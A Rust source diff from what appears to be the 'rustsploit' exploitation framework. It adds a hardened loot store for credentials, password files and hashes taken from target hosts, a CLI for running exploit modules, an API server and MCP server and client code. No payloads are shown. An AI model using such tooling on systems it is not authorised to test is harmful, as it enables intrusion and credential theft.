|
||||
use std::os::unix::fs::DirBuilderExt;
|
||||
if let Err(e) = std::fs::DirBuilder::new().mode(0o700).recursive(true).create(&loot_dir) {
|
||||
eprintln!("[!] Failed to create loot directory {}: {}", loot_dir.display(), e);
|
||||
}
|
||||
|
||||
let index_path = base.join("loot_index.json");
|
||||
let entries = if index_path.exists() {
|
||||
match std::fs::read_to_string(&index_path) {
|
||||
Ok(contents) => match serde_json::from_str(&contents) {
|
||||
Ok(data) => data,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Warning: loot_index.json is corrupted ({}). Creating backup.", e);
|
||||
let backup = index_path.with_extension("json.bak");
|
||||
if let Err(e) = std::fs::copy(&index_path, &backup) {
|
||||
eprintln!("[!] Failed to backup corrupted loot index: {}", e);
|
||||
}
|
||||
Vec::new()
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to read loot_index.json: {}. Preserving original.", e);
|
||||
let backup = index_path.with_extension("json.unreadable");
|
||||
if let Err(e) = std::fs::rename(&index_path, &backup) {
|
||||
eprintln!("[!] Rename failed: {}", e);
|
||||
}
|
||||
Vec::new()
|
||||
}
|
||||
}
|
||||
} else {
|
||||
Vec::new()
|
||||
};
|
||||
|
||||
Self {
|
||||
entries: RwLock::new(entries),
|
||||
index_path,
|
||||
loot_dir,
|
||||
}
|
||||
}
|
||||
|
||||
/// Maximum loot file size (100 MB).
|
||||
const MAX_LOOT_SIZE: usize = 100 * 1024 * 1024;
|
||||
/// P2-A6: cap on the total number of loot entries to bound disk + index
|
||||
/// growth. 10k entries × 100 MB max each = ~1 TB worst case, which is
|
||||
/// well past any realistic engagement; the per-entry cap is the real
|
||||
/// limit, this catches runaway-loop bugs.
|
||||
const MAX_LOOT_ENTRIES: usize = 10_000;
|
||||
|
||||
/// Store loot data and return the entry ID.
|
||||
pub async fn add(
|
||||
&self,
|
||||
host: &str,
|
||||
loot_type: &str,
|
||||
description: &str,
|
||||
data: &[u8],
|
||||
source_module: &str,
|
||||
) -> Option<String> {
|
||||
// Validate size
|
||||
if data.len() > Self::MAX_LOOT_SIZE {
|
||||
eprintln!("[!] Loot too large: {} bytes (max {} MB)", data.len(), Self::MAX_LOOT_SIZE / 1024 / 1024);
|
||||
return None;
|
||||
}
|
||||
// Validate inputs
|
||||
if host.is_empty() || host.len() > 256 {
|
||||
return None;
|
||||
}
|
||||
// P2-A6: refuse to insert past the global entry cap.
|
||||
if self.entries.read().await.len() >= Self::MAX_LOOT_ENTRIES {
|
||||
eprintln!(
|
||||
"[!] Loot store full ({} entries) — delete or clear loot before adding more",
|
||||
Self::MAX_LOOT_ENTRIES
|
||||
);
|
||||
return None;
|
||||
}
|
||||
|
||||
let id = uuid::Uuid::new_v4().simple().to_string()[..16].to_string();
|
||||
let ext = match loot_type {
|
||||
"config" => "conf",
|
||||
"password_file" => "txt",
|
||||
"firmware" => "bin",
|
||||
"hash" => "txt",
|
||||
_ => "dat",
|
||||
};
|
||||
// Sanitize loot_type — only allow alphanumeric and underscore
|
||||
let safe_type: String = loot_type.chars()
|
||||
.filter(|c| c.is_alphanumeric() || *c == '_')
|
||||
.take(64)
|
||||
.collect();
|
||||
let safe_type = if safe_type.is_empty() { "unknown".to_string() } else { safe_type };
|
||||
|
||||
let filename = format!("{}_{}.{}", id, safe_type, ext);
|
||||
let file_path = self.loot_dir.join(&filename);
|
||||
|
||||
// Verify the resolved path is within loot_dir (prevent traversal)
|
||||
if !file_path.starts_with(&self.loot_dir) {
|
||||
eprintln!("[!] Loot path escapes loot directory");
|
||||
return None;
|
||||
}
|
||||
|
||||
{
|
||||
// P1-7: O_NOFOLLOW + create-with-mode atomically. A symlink raced
|
||||
// into the loot dir would otherwise redirect the write outside it.
|
||||
let mut opts = tokio::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true).mode(0o600);
|
||||
#[cfg(unix)]
|
||||
{
|
||||
opts.custom_flags(libc::O_NOFOLLOW);
|
||||
}
|
||||
let file = match opts.open(&file_path).await {
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to create loot file: {}", e);
|
||||
return None;
|
||||
}
|
||||
};
|
||||
let mut file = file;
|
||||
if let Err(e) = tokio::io::AsyncWriteExt::write_all(&mut file, data).await {
|
||||
eprintln!("[!] Failed to write loot data: {}", e);
|
||||
return None;
|
||||
}
|
||||
}
|
||||
|
||||
let entry = LootEntry {
|
||||
// Scrub host + source_module too (not just loot_type/description):
|
||||
// both are printed raw by `loot` and could carry terminal-escape
|
||||
// bytes from an attacker-controlled banner / module string.
|
||||
id: id.clone(),
|
||||
host: crate::utils::scrub_stored_text(host),
|
||||
loot_type: crate::utils::scrub_stored_text(loot_type),
|
||||
filename,
|
||||
description: crate::utils::scrub_stored_text(description),
|
||||
source_module: crate::utils::scrub_stored_text(source_module),
|
||||
timestamp: chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
|
||||
};
|
||||
|
||||
// P1-1: hold the write lock across the disk save.
|
||||
{
|
||||
let mut entries = self.entries.write().await;
|
||||
// Re-check the cap under the write lock. The earlier read-lock check
|
||||
// is only a fast path: concurrent `add`s can each pass it and then
|
||||
// all push, blowing past the cap. Re-checking here also handles the
|
||||
// file we already wrote above — remove it so a rejected add doesn't
|
||||
// leave an orphan loot file on disk.
|
||||
if entries.len() >= Self::MAX_LOOT_ENTRIES {
|
||||
eprintln!(
|
||||
"[!] Loot store full ({} entries) — discarding just-written loot file",
|
||||
Self::MAX_LOOT_ENTRIES
|
||||
);
|
||||
if let Err(e) = tokio::fs::remove_file(&file_path).await {
|
||||
tracing::debug!("failed to remove orphan loot file {}: {e}", file_path.display());
|
||||
}
|
||||
return None;
|
||||
}
|
||||
entries.push(entry);
|
||||
let snapshot = entries.clone();
|
||||
self.save_locked(&snapshot).await;
|
||||
}
|
||||
Some(id)
|
||||
}
|
||||
|
||||
/// Add loot from a string (convenience).
|
||||
pub async fn add_text(
|
||||
&self,
|
||||
host: &str,
|
||||
loot_type: &str,
|
||||
description: &str,
|
||||
text: &str,
|
||||
source_module: &str,
|
||||
) -> Option<String> {
|
||||
self.add(host, loot_type, description, text.as_bytes(), source_module).await
|
||||
}
|
||||
|
||||
/// List all loot entries.
|
||||
pub async fn list(&self) -> Vec<LootEntry> {
|
||||
self.entries.read().await.clone()
|
||||
}
|
||||
|
||||
/// Search loot by host or type.
|
||||
pub async fn search(&self, query: &str) -> Vec<LootEntry> {
|
||||
let q = query.to_lowercase();
|
||||
self.list().await.into_iter().filter(|e| {
|
||||
e.host.to_lowercase().contains(&q)
|
||||
|| e.loot_type.to_lowercase().contains(&q)
|
||||
|| e.description.to_lowercase().contains(&q)
|
||||
}).collect()
|
||||
}
|
||||
|
||||
/// Delete a loot entry by ID. Also removes the loot file from disk.
|
||||
/// File removal happens BEFORE the index is rewritten, so that a failed
|
||||
/// `unlink` (EACCES, EBUSY, etc.) does not orphan the file on disk while
|
||||
/// the index forgets about it.
|
||||
pub async fn delete(&self, id: &str) -> bool {
|
||||
// Look up the filename without mutating the index yet.
|
||||
let filename = {
|
||||
let entries = self.entries.read().await;
|
||||
entries.iter().find(|e| e.id == id).map(|e| e.filename.clone())
|
||||
};
|
||||
let Some(fname) = filename else {
|
||||
return false;
|
||||
};
|
||||
|
||||
// Try to remove the file first. ENOENT is fine — the index will be
|
||||
// cleaned up either way. Any other error aborts the delete so the
|
||||
// caller can see the entry is still present and retry.
|
||||
if let Some(path) = self.file_path(&fname) {
|
||||
match tokio::fs::remove_file(&path).await {
|
||||
Ok(_) => {}
|
||||
Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
|
||||
tracing::debug!(path = %path.display(), "loot file already gone, removing index entry");
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to remove loot file {}: {} — index entry preserved", path.display(), e);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// File is gone (or the path was malformed) — now drop the index entry.
|
||||
// P1-1: lock-during-save so the index file stays consistent with
|
||||
// the in-memory entries under concurrent ops.
|
||||
let mut entries = self.entries.write().await;
|
||||
let before = entries.len();
|
||||
entries.retain(|e| e.id != id);
|
||||
if entries.len() == before {
|
||||
return false;
|
||||
}
|
||||
let snapshot = entries.clone();
|
||||
self.save_locked(&snapshot).await;
|
||||
true
|
||||
}
|
||||
|
||||
/// Clear all loot entries and remove loot files from disk.
|
||||
pub async fn clear(&self) {
|
||||
let filenames: Vec<String> = {
|
||||
let mut entries = self.entries.write().await;
|
||||
let names: Vec<String> = entries.iter().map(|e| e.filename.clone()).collect();
|
||||
entries.clear();
|
||||
self.save_locked(&entries).await;
|
||||
names
|
||||
};
|
||||
for fname in filenames {
|
||||
if let Some(path) = self.file_path(&fname)
|
||||
&& let Err(e) = tokio::fs::remove_file(&path).await {
|
||||
eprintln!("[!] Failed to remove loot file {}: {}", path.display(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Get the full path to a loot file.
|
||||
/// Returns None if the filename contains path separators or traversal.
|
||||
pub fn file_path(&self, filename: &str) -> Option<PathBuf> {
|
||||
if filename.contains('/') || filename.contains('\\') || filename.contains("..") || filename.contains('\0') {
|
||||
return None;
|
||||
}
|
||||
let path = self.loot_dir.join(filename);
|
||||
if !path.starts_with(&self.loot_dir) {
|
||||
return None;
|
||||
}
|
||||
Some(path)
|
||||
}
|
||||
|
||||
/// Get the loot directory path.
|
||||
pub fn loot_directory(&self) -> &PathBuf {
|
||||
&self.loot_dir
|
||||
}
|
||||
|
||||
async fn save_locked(&self, entries: &[LootEntry]) {
|
||||
let tmp = self.index_path.with_extension("json.tmp");
|
||||
let json = match serde_json::to_string_pretty(entries) {
|
||||
Ok(j) => j,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to serialize loot index: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
// P1-7: O_NOFOLLOW + create-with-mode atomically.
|
||||
let mut opts = tokio::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true).mode(0o600);
|
||||
#[cfg(unix)]
|
||||
{
|
||||
opts.custom_flags(libc::O_NOFOLLOW);
|
||||
}
|
||||
let file = match opts.open(&tmp).await {
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to write loot index: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
let mut file = file;
|
||||
if let Err(e) = tokio::io::AsyncWriteExt::write_all(&mut file, json.as_bytes()).await {
|
||||
eprintln!("[!] Failed to write loot index data: {}", e);
|
||||
return;
|
||||
}
|
||||
if let Err(e) = tokio::fs::rename(&tmp, &self.index_path).await {
|
||||
eprintln!("[!] Failed to rename loot index: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
/// Display loot table.
|
||||
pub async fn display(&self) {
|
||||
let entries = self.list().await;
|
||||
if entries.is_empty() {
|
||||
println!("{}", "No loot stored.".dimmed());
|
||||
return;
|
||||
}
|
||||
println!();
|
||||
println!("{}", format!("Loot ({} items):", entries.len()).bold().underline());
|
||||
println!();
|
||||
println!(" {:<10} {:<18} {:<15} {:<30} {}",
|
||||
"ID".bold(), "Host".bold(), "Type".bold(), "Description".bold(), "Module".bold());
|
||||
println!(" {}", "-".repeat(90).dimmed());
|
||||
for e in &entries {
|
||||
let desc = if e.description.chars().count() > 28 {
|
||||
format!("{}...", e.description.chars().take(25).collect::<String>())
|
||||
} else {
|
||||
e.description.clone()
|
||||
};
|
||||
println!(" {:<10} {:<18} {:<15} {:<30} {}",
|
||||
e.id.yellow(), e.host.green(), e.loot_type, desc, e.source_module);
|
||||
}
|
||||
println!();
|
||||
}
|
||||
}
|
||||
|
||||
pub static LOOT_STORE: Lazy<LootStore> = Lazy::new(LootStore::new);
|
||||
|
||||
/// Convenience function for modules to store loot.
|
||||
/// Routes through the tenant registry when in a tenant context (API mode).
|
||||
/// Also emits a `ModuleEvent::LootStored` and a `Finding` so panel / MCP /
|
||||
/// WS subscribers see the discovery without each module having to call
|
||||
/// `events::emit` manually.
|
||||
pub async fn store_loot(
|
||||
host: &str,
|
||||
loot_type: &str,
|
||||
description: &str,
|
||||
data: &[u8],
|
||||
source_module: &str,
|
||||
) -> Option<String> {
|
||||
let s = crate::tenant::resolve();
|
||||
let id = s.loot_store().add(host, loot_type, description, data, source_module).await;
|
||||
if let Some(id_str) = id.as_deref() {
|
||||
crate::events::emit(crate::events::ModuleEvent::LootStored {
|
||||
id: id_str.to_string(),
|
||||
host: host.to_string(),
|
||||
kind: loot_type.to_string(),
|
||||
});
|
||||
}
|
||||
if id.is_some() {
|
||||
crate::events::emit(crate::events::ModuleEvent::Finding {
|
||||
module: source_module.to_string(),
|
||||
target: host.to_string(),
|
||||
kind: loot_type.to_string(),
|
||||
message: description.to_string(),
|
||||
});
|
||||
}
|
||||
id
|
||||
}
|
||||
+236
-8
@@ -1,24 +1,252 @@
|
||||
use anyhow::Result;
|
||||
use clap::Parser;
|
||||
use std::net::SocketAddr;
|
||||
use std::process;
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use clap::Parser;
|
||||
use colored::*;
|
||||
use tracing_subscriber::EnvFilter;
|
||||
|
||||
mod api;
|
||||
mod cli;
|
||||
mod shell;
|
||||
mod commands;
|
||||
mod config;
|
||||
mod context;
|
||||
mod modules;
|
||||
mod native;
|
||||
mod shell;
|
||||
mod tommy;
|
||||
mod utils;
|
||||
|
||||
pub mod checkpoint;
|
||||
pub mod cred_store;
|
||||
pub mod events;
|
||||
pub mod exclusions;
|
||||
pub mod tenant;
|
||||
pub mod export;
|
||||
pub mod global_options;
|
||||
pub mod jobs;
|
||||
pub mod loot;
|
||||
pub mod mcp;
|
||||
pub mod module;
|
||||
pub mod module_info;
|
||||
pub mod output;
|
||||
pub mod pq_channel;
|
||||
pub mod pq_middleware;
|
||||
pub mod prescan;
|
||||
pub mod rate_limit;
|
||||
pub mod scheduler;
|
||||
pub mod spool;
|
||||
pub mod results_sink;
|
||||
pub mod workspace;
|
||||
pub mod ws;
|
||||
|
||||
|
||||
/// Maximum length for interface/bind address
|
||||
const MAX_BIND_ADDRESS_LENGTH: usize = 128;
|
||||
|
||||
|
||||
/// Validates the bind address format
|
||||
fn validate_bind_address(addr: &str) -> Result<String> {
|
||||
let trimmed = addr.trim();
|
||||
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Bind address cannot be empty"));
|
||||
}
|
||||
if trimmed.len() > MAX_BIND_ADDRESS_LENGTH {
|
||||
return Err(anyhow!("Bind address too long (max {} characters)", MAX_BIND_ADDRESS_LENGTH));
|
||||
}
|
||||
if trimmed.chars().any(|c| c.is_control()) {
|
||||
return Err(anyhow!("Bind address cannot contain control characters"));
|
||||
}
|
||||
|
||||
let with_port = if trimmed.contains(':') {
|
||||
trimmed.to_string()
|
||||
} else {
|
||||
format!("{}:8080", trimmed)
|
||||
};
|
||||
|
||||
with_port
|
||||
.parse::<SocketAddr>()
|
||||
.with_context(|| format!("Invalid bind address '{}'", with_port))?;
|
||||
|
||||
Ok(with_port)
|
||||
}
|
||||
|
||||
/// Returns the path to the PQ host key file.
|
||||
fn pq_host_key_path(custom: Option<&str>) -> std::path::PathBuf {
|
||||
if let Some(p) = custom {
|
||||
std::path::PathBuf::from(p)
|
||||
} else {
|
||||
// Refuse to fall back to CWD for security-sensitive key material —
|
||||
// CWD may be world-readable or an attacker-controlled directory.
|
||||
let home = home::home_dir().unwrap_or_else(|| {
|
||||
eprintln!("[!] $HOME not set — PQ host key will use /tmp/.rustsploit (insecure fallback)");
|
||||
std::path::PathBuf::from("/tmp")
|
||||
});
|
||||
home.join(".rustsploit").join("pq_host_key")
|
||||
}
|
||||
}
|
||||
|
||||
/// Returns the path to the PQ authorized keys file.
|
||||
fn pq_authorized_keys_path(custom: Option<&str>) -> std::path::PathBuf {
|
||||
if let Some(p) = custom {
|
||||
std::path::PathBuf::from(p)
|
||||
} else {
|
||||
let home = home::home_dir().unwrap_or_else(|| {
|
||||
eprintln!("[!] $HOME not set — PQ authorized keys will use /tmp/.rustsploit (insecure fallback)");
|
||||
std::path::PathBuf::from("/tmp")
|
||||
});
|
||||
home.join(".rustsploit").join("pq_authorized_keys")
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<()> {
|
||||
// Parse command-line arguments
|
||||
async fn main() {
|
||||
if let Err(e) = run().await {
|
||||
eprintln!("{} {}", "❌".red(), e);
|
||||
process::exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
async fn run() -> Result<()> {
|
||||
// Initialize structured logging
|
||||
let filter = if std::env::var("RUST_LOG").is_ok() {
|
||||
EnvFilter::from_default_env()
|
||||
} else {
|
||||
EnvFilter::new("warn")
|
||||
};
|
||||
tracing_subscriber::fmt()
|
||||
.with_env_filter(filter)
|
||||
.with_target(false)
|
||||
.init();
|
||||
|
||||
let cli_args = cli::Cli::parse();
|
||||
|
||||
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
|
||||
tracing::debug!("CLI arguments parsed successfully");
|
||||
|
||||
// P0-2: propagate the strict-TLS flag to the framework's HTTP-client
|
||||
// builder so `permissive()` callers automatically pick up the operator's
|
||||
// policy. Modules that *legitimately* need to talk to self-signed
|
||||
// devices still opt in explicitly via `HttpClientOpts {
|
||||
// accept_invalid_certs: true, .. }`. P1-9: same plumbing for the
|
||||
// proxy-trust flag used by the handshake rate limiter.
|
||||
utils::network::set_global_strict_tls(cli_args.strict_tls);
|
||||
utils::network::set_global_trust_proxy(cli_args.trust_proxy);
|
||||
if !cli_args.strict_tls {
|
||||
tracing::warn!(
|
||||
"TLS verification permissive by default for HTTPS exploit modules. \
|
||||
Pass --strict-tls to flip the default to strict."
|
||||
);
|
||||
}
|
||||
|
||||
// Handle list_modules flag
|
||||
if cli_args.list_modules {
|
||||
tracing::debug!("Listing all modules...");
|
||||
utils::list_all_modules();
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Regenerate docs/Module-Catalog.md from the live registry
|
||||
if cli_args.gen_module_catalog {
|
||||
let md = module::render_catalog_markdown();
|
||||
let out = std::path::Path::new("docs/Module-Catalog.md");
|
||||
tokio::fs::write(out, md).await.context("Failed to write docs/Module-Catalog.md")?;
|
||||
println!("{} Wrote {} ({} modules)",
|
||||
"✓".green(), out.display(), module::count());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// List on-disk scan checkpoints
|
||||
if cli_args.list_checkpoints {
|
||||
match checkpoint::list_checkpoints() {
|
||||
Ok(list) if list.is_empty() => {
|
||||
println!("No checkpoints found.");
|
||||
}
|
||||
Ok(list) => {
|
||||
println!("Active checkpoints (resume by re-running the same module + target):\n");
|
||||
for cp in list {
|
||||
println!(" {}", cp);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
return Err(anyhow!("Failed to enumerate checkpoints: {e:#}"));
|
||||
}
|
||||
}
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// API server mode — PQ-encrypted, no TLS, no API keys
|
||||
if cli_args.api {
|
||||
let host_key_path = pq_host_key_path(cli_args.pq_host_key.as_deref());
|
||||
let auth_keys_path = pq_authorized_keys_path(cli_args.pq_authorized_keys.as_deref());
|
||||
|
||||
let interface = cli_args.interface.clone().unwrap_or_else(|| "127.0.0.1".to_string());
|
||||
let bind_address = validate_bind_address(&interface).context("Invalid bind address")?;
|
||||
|
||||
tracing::debug!("Starting PQ-encrypted API server on {}...", bind_address);
|
||||
api::start_api_server(
|
||||
&bind_address,
|
||||
cli_args.verbose,
|
||||
&host_key_path,
|
||||
&auth_keys_path,
|
||||
cli_args.pq_key_passphrase.as_deref(),
|
||||
)
|
||||
.await?;
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// MCP server mode
|
||||
if cli_args.mcp {
|
||||
tracing::debug!("Starting MCP server on stdio...");
|
||||
mcp::run_mcp_server().await?;
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Validate target if provided
|
||||
if let Some(ref target) = cli_args.target
|
||||
&& let Err(e) = utils::normalize_target(target) {
|
||||
return Err(anyhow!("Invalid target '{}': {}", target, e));
|
||||
}
|
||||
|
||||
// Set global target if provided
|
||||
if let Some(ref target) = cli_args.set_target {
|
||||
tracing::debug!("Setting global target to: {}", target);
|
||||
config::GLOBAL_CONFIG.set_target(target)?;
|
||||
println!("{} Global target set to: {}", "✓".green(), target);
|
||||
}
|
||||
|
||||
// Handle subcommands from CLI
|
||||
if let Some(cmd) = &cli_args.command {
|
||||
tracing::debug!("Executing subcommand: {}", cmd);
|
||||
commands::handle_command(cmd, &cli_args).await?;
|
||||
}
|
||||
// Otherwise, launch the interactive shell
|
||||
// Run module directly if both -m and -t are provided
|
||||
else if let Some(ref module) = cli_args.module {
|
||||
if let Some(ref target) = cli_args.target {
|
||||
tracing::debug!("Running module '{}' against '{}'", module, target);
|
||||
commands::run_module(module, target, cli_args.verbose).await?;
|
||||
} else if config::GLOBAL_CONFIG.has_target() {
|
||||
let target = config::GLOBAL_CONFIG.get_target().unwrap_or_default();
|
||||
tracing::debug!("Running module '{}' against global target '{}'", module, target);
|
||||
commands::run_module(module, &target, cli_args.verbose).await?;
|
||||
} else {
|
||||
eprintln!("{}", "⚠ Warning: --module specified without --target. Launching shell...".yellow());
|
||||
tracing::debug!("Launching interactive shell...");
|
||||
if let Some(ref rc) = cli_args.resource {
|
||||
shell::interactive_shell_with_resource(cli_args.verbose, Some(rc)).await?;
|
||||
} else {
|
||||
shell::interactive_shell(cli_args.verbose).await?;
|
||||
}
|
||||
}
|
||||
}
|
||||
// Launch interactive shell
|
||||
else {
|
||||
shell::interactive_shell().await?;
|
||||
tracing::debug!("Launching interactive shell...");
|
||||
if let Some(ref rc) = cli_args.resource {
|
||||
shell::interactive_shell_with_resource(cli_args.verbose, Some(rc)).await?;
|
||||
} else {
|
||||
shell::interactive_shell(cli_args.verbose).await?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
|
||||
@@ -0,0 +1,232 @@
|
||||
use std::process::Stdio;
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use serde_json::{json, Value};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncReadExt, AsyncWriteExt, BufReader};
|
||||
use tokio::process::{Child, ChildStdin, ChildStdout, Command};
|
||||
|
||||
/// MCP client that communicates with an external MCP server over stdio JSON-RPC.
|
||||
pub struct McpClient {
|
||||
child: Child,
|
||||
stdin: ChildStdin,
|
||||
stdout: BufReader<ChildStdout>,
|
||||
next_id: u64,
|
||||
}
|
||||
|
||||
impl McpClient {
|
||||
/// Spawn an MCP server subprocess and prepare for JSON-RPC communication.
|
||||
pub async fn connect(command: &str, args: &[&str]) -> Result<Self> {
|
||||
let mut child = Command::new(command)
|
||||
.args(args)
|
||||
.stdin(Stdio::piped())
|
||||
.stdout(Stdio::piped())
|
||||
.stderr(Stdio::inherit())
|
||||
.spawn()
|
||||
.with_context(|| format!("Failed to spawn MCP server: {} {:?}", command, args))?;
|
||||
|
||||
let stdin = child
|
||||
.stdin
|
||||
.take()
|
||||
.context("Failed to capture child stdin")?;
|
||||
let stdout_raw = child
|
||||
.stdout
|
||||
.take()
|
||||
.context("Failed to capture child stdout")?;
|
||||
let stdout = BufReader::new(stdout_raw);
|
||||
|
||||
Ok(Self {
|
||||
child,
|
||||
stdin,
|
||||
stdout,
|
||||
next_id: 1,
|
||||
})
|
||||
}
|
||||
|
||||
/// Send the `initialize` handshake and return the server capabilities.
|
||||
pub async fn initialize(&mut self) -> Result<Value> {
|
||||
let id = self.next_id();
|
||||
send_request(
|
||||
&mut self.stdin,
|
||||
&mut self.stdout,
|
||||
id,
|
||||
"initialize",
|
||||
Some(json!({
|
||||
"protocolVersion": "2024-11-05",
|
||||
"capabilities": {},
|
||||
"clientInfo": {
|
||||
"name": "rustsploit-mcp-client",
|
||||
"version": env!("CARGO_PKG_VERSION")
|
||||
}
|
||||
})),
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
/// List all tools offered by the remote server.
|
||||
pub async fn list_tools(&mut self) -> Result<Vec<Value>> {
|
||||
let id = self.next_id();
|
||||
let result = send_request(&mut self.stdin, &mut self.stdout, id, "tools/list", None).await?;
|
||||
let tools = result
|
||||
.get("tools")
|
||||
.and_then(|v| v.as_array())
|
||||
.cloned()
|
||||
.unwrap_or_default();
|
||||
Ok(tools)
|
||||
}
|
||||
|
||||
/// Call a tool on the remote server (30s timeout).
|
||||
pub async fn call_tool(&mut self, name: &str, args: Value) -> Result<Value> {
|
||||
let id = self.next_id();
|
||||
tokio::time::timeout(
|
||||
std::time::Duration::from_secs(30),
|
||||
send_request(
|
||||
&mut self.stdin,
|
||||
&mut self.stdout,
|
||||
id,
|
||||
"tools/call",
|
||||
Some(json!({
|
||||
"name": name,
|
||||
"arguments": args
|
||||
})),
|
||||
),
|
||||
)
|
||||
.await
|
||||
.context("MCP tool call timed out after 30s")?
|
||||
}
|
||||
|
||||
/// List all resources offered by the remote server.
|
||||
pub async fn list_resources(&mut self) -> Result<Vec<Value>> {
|
||||
let id = self.next_id();
|
||||
let result =
|
||||
send_request(&mut self.stdin, &mut self.stdout, id, "resources/list", None).await?;
|
||||
let resources = result
|
||||
.get("resources")
|
||||
.and_then(|v| v.as_array())
|
||||
.cloned()
|
||||
.unwrap_or_default();
|
||||
Ok(resources)
|
||||
}
|
||||
|
||||
/// Read a resource by URI from the remote server.
|
||||
pub async fn read_resource(&mut self, uri: &str) -> Result<Value> {
|
||||
let id = self.next_id();
|
||||
send_request(
|
||||
&mut self.stdin,
|
||||
&mut self.stdout,
|
||||
id,
|
||||
"resources/read",
|
||||
Some(json!({ "uri": uri })),
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
/// Shut down the MCP server subprocess gracefully.
|
||||
pub async fn close(mut self) -> Result<()> {
|
||||
drop(self.stdin);
|
||||
match tokio::time::timeout(std::time::Duration::from_secs(5), self.child.wait()).await {
|
||||
Ok(Ok(status)) => { tracing::trace!("MCP server exited: {status}"); return Ok(()); }
|
||||
Ok(Err(e)) => {
|
||||
eprintln!("[!] MCP server wait error: {}", e);
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] MCP server did not exit within 5s ({e}), killing");
|
||||
}
|
||||
}
|
||||
if let Err(e) = self.child.kill().await {
|
||||
eprintln!("[!] Failed to kill MCP server: {}", e);
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn next_id(&mut self) -> u64 {
|
||||
let id = self.next_id;
|
||||
self.next_id += 1;
|
||||
id
|
||||
}
|
||||
}
|
||||
|
||||
/// Send a JSON-RPC 2.0 request and read the response.
|
||||
async fn send_request(
|
||||
stdin: &mut ChildStdin,
|
||||
stdout: &mut BufReader<ChildStdout>,
|
||||
id: u64,
|
||||
method: &str,
|
||||
params: Option<Value>,
|
||||
) -> Result<Value> {
|
||||
// Build the JSON-RPC request object
|
||||
let mut request = json!({
|
||||
"jsonrpc": "2.0",
|
||||
"id": id,
|
||||
"method": method,
|
||||
});
|
||||
if let Some(p) = params
|
||||
&& let Some(obj) = request.as_object_mut() {
|
||||
obj.insert("params".to_string(), p);
|
||||
}
|
||||
|
||||
// Serialize and send as a single line
|
||||
let line = serde_json::to_string(&request).context("Failed to serialize JSON-RPC request")?;
|
||||
stdin
|
||||
.write_all(line.as_bytes())
|
||||
.await
|
||||
.context("Failed to write to child stdin")?;
|
||||
stdin
|
||||
.write_all(b"\n")
|
||||
.await
|
||||
.context("Failed to write newline")?;
|
||||
stdin.flush().await.context("Failed to flush child stdin")?;
|
||||
|
||||
// Read response lines until we get one with a matching id.
|
||||
// Servers may emit notifications (no id) interleaved with responses.
|
||||
// Bounded read: a malicious/buggy MCP server could otherwise stream an
|
||||
// unterminated multi-GB line and force the client to buffer it all into
|
||||
// memory (OOM). Cap each line like the server side does, and surface
|
||||
// non-UTF-8 instead of lossy-decoding it.
|
||||
const MAX_RESP_BYTES: usize = 16 * 1024 * 1024;
|
||||
let mut raw: Vec<u8> = Vec::new();
|
||||
loop {
|
||||
raw.clear();
|
||||
let n = (&mut *stdout)
|
||||
.take(MAX_RESP_BYTES as u64 + 1)
|
||||
.read_until(b'\n', &mut raw)
|
||||
.await
|
||||
.context("Failed to read from child stdout")?;
|
||||
if n == 0 {
|
||||
anyhow::bail!("MCP server closed stdout before responding to request {}", id);
|
||||
}
|
||||
if raw.len() > MAX_RESP_BYTES {
|
||||
anyhow::bail!(
|
||||
"MCP server response exceeded {} byte line limit",
|
||||
MAX_RESP_BYTES
|
||||
);
|
||||
}
|
||||
|
||||
let trimmed = match std::str::from_utf8(&raw) {
|
||||
Ok(s) => s.trim(),
|
||||
Err(e) => anyhow::bail!("MCP server sent a non-UTF-8 response: {e}"),
|
||||
};
|
||||
if trimmed.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
let response: Value =
|
||||
serde_json::from_str(trimmed).context("Failed to parse JSON-RPC response")?;
|
||||
|
||||
// Check if this is a response (has "id") matching our request
|
||||
if let Some(resp_id) = response.get("id")
|
||||
&& resp_id.as_u64() == Some(id) {
|
||||
// Check for error
|
||||
if let Some(error) = response.get("error") {
|
||||
let msg = error
|
||||
.get("message")
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("Unknown error");
|
||||
let code = error.get("code").and_then(|v| v.as_i64()).unwrap_or(-1);
|
||||
anyhow::bail!("MCP server error (code {}): {}", code, msg);
|
||||
}
|
||||
// Return the result field
|
||||
return Ok(response.get("result").cloned().unwrap_or(Value::Null));
|
||||
}
|
||||
// Not our response (notification or different id) -- skip and keep reading
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
